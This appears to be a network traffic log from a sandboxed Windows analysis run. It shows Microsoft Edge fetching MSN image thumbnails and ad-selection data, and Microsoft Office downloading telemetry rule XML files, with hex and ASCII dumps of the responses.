2024-11-27 15:34:56 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.7	49879	104.117.182.65	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:56 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 15:34:56 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=210027 Expires: Sat, 30 Nov 2024 01:55:23 GMT Date: Wed, 27 Nov 2024 15:34:56 GMT Connection: close
2024-11-27 15:34:56 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.7	49883	104.117.182.65	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:56 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 15:34:56 UTC	515	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Sat, 23 Nov 2024 18:14:45 GMT X-Source-Length: 5699 X-Datacenter: eastus X-ActivityId: 5c4ddcbc-0d99-4ea0-a3c4-13e18d04c61f Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=95937 Expires: Thu, 28 Nov 2024 18:13:53 GMT Date: Wed, 27 Nov 2024 15:34:56 GMT Connection: close
2024-11-27 15:34:56 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.7	49880	104.117.182.65	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:56 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 15:34:56 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:48 GMT X-Datacenter: eastus X-ActivityId: 4e8f5161-6e89-49b3-b675-e3ba25e83bf7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=294900 Expires: Sun, 01 Dec 2024 01:29:56 GMT Date: Wed, 27 Nov 2024 15:34:56 GMT Connection: close
2024-11-27 15:34:56 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.7	49876	23.101.168.44	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:56 UTC	1068	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=1E3415CF46DC6CBF03A7008B47566DA7&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=7ac55775b38d4ce1ad21f0d112a8f077 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=1E3415CF46DC6CBF03A7008B47566DA7; _EDGE_S=F=1&SID=26375401AFD5621E074E4145AE73634F; _EDGE_V=1
2024-11-27 15:34:56 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 27 Nov 2024 15:34:55 GMT Connection: close
2024-11-27 15:34:56 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.7	49884	104.117.182.65	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:56 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 15:34:56 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=193356 Expires: Fri, 29 Nov 2024 21:17:32 GMT Date: Wed, 27 Nov 2024 15:34:56 GMT Connection: close
2024-11-27 15:34:56 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.7	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:56 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:57 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:57 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: a1da7612-c01e-0014-5d80-3fa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153457Z-174f7845968xlwnmhC1EWR0sv80000000x00000000008q07 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:57 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.7	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:56 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:57 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:57 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 4f79ec39-601e-0070-0891-3fa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153457Z-174f7845968px8v7hC1EWR08ng0000000x8g00000000sqqx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:57 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.7	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:57 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:57 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:57 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 1fa1d210-401e-0067-3791-3f09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153457Z-174f7845968glpgnhC1EWR7uec0000000x6g00000000nya5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:57 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.7	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:57 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:57 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:57 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 1a9a61cd-601e-0070-6771-40a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153457Z-174f7845968n2hr8hC1EWR9cag0000000wng00000000sxnv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:57 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.7	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:57 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:57 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:57 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 8c2ab7fe-e01e-0003-5b91-3f0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153457Z-174f7845968j6t2phC1EWRcfe80000000xb0000000005zb6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:57 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
